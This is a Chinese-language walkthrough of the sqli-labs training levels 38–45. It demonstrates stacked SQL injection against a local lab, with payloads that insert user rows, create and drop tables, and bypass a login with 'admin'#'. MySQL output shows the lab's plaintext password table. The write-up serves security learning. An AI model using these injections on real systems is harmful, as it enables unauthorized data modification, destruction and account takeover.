less-38
這一題一樣是用單引號進行閉合,可以發現的確有sql injection:
不過這一次的php原始碼有以下函數:
代表我們可以使用「堆疊注入」,也就是一次執行多個指令,指令間以分號隔開。
可以看看原本資料庫:
D:\phpStudy_2016>mysql -u root -p
Enter password: ****
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 128
Server version: 5.5.47 MySQL Community Server (GPL)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> select * from users;
ERROR 1046 (3D000): No database selected
mysql> use security;
Database changed
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)
經過堆疊注入
0';insert into users(id,username,password) values(38,'less38','hello')--+
之後的資料庫:
的確多了剛剛堆疊注入出的less-38這個帳號。也可以試試多創建一個table:
0';CREATE TABLE WhiteMoon LIKE users;--+
也的確會多出table:
mysql> select TABLE_NAME from information_schema.tables where TABLE_SCHEMA = database();
+------------+
| TABLE_NAME |
+------------+
| emails |
| referers |
| uagents |
| users |
| whitemoon |
+------------+
5 rows in set (0.00 sec)
也可以刪除,只要把上圖反藍替換成刪除語句即可:
0';DROP TABLE WhiteMoon;--+
看看下圖,可以比對出的確有刪除。
less-39
是數值型注入,除了不須加單引號外,其他都一樣:
1;CREATE TABLE WhiteMoon LIKE users;--+
1;DROP TABLE WhiteMoon;--+
less-40
一樣,只是要注意閉合是')
。
1');DROP TABLE WhiteMoon;--+
less-41
可以用跟less-39一模一樣的方式來新增跟刪除table,這題的主要不同點在於這題錯誤不回顯,是盲注。
less-42
看到輸入密碼畫面,總之先用
https://github.com/payloadbox/sql-injection-payload-list
裡面的SQL Injection Auth Bypass Payloads來爆破一次。可以得知在以下payload時會出現錯誤訊息:
可以發現這些payload(length 962-973)的共通點是單引號,所以大概那就是閉合。而這一次一樣是堆疊注入,所以就如法炮製試試看:
帳/密: admin/c';create table less42 like users#
帳/密: admin/c';drop table less42#
如果直接用admin/admin登入成功,則會出現更新密碼畫面:
不過這一題不是二次注入,所以也沒用。
less-43
跟less-42一樣,只是閉合變成了')
。這樣的閉合,從下圖length最小的前3個可見一斑。
less-44
上圖反藍的payload,雖然上圖下方的Render沒有顯示出來,但實際用其中一個admin'#
,可以成功登入如下圖:
代表這一次還是單引號閉合。之後就一樣是堆疊注入
admin';create table test like users;#
admin';drop table test;#
跟之前的差別,只是這一次不會回顯。
less-45
跟43關payload相同,但跟43一樣不會有報錯訊息。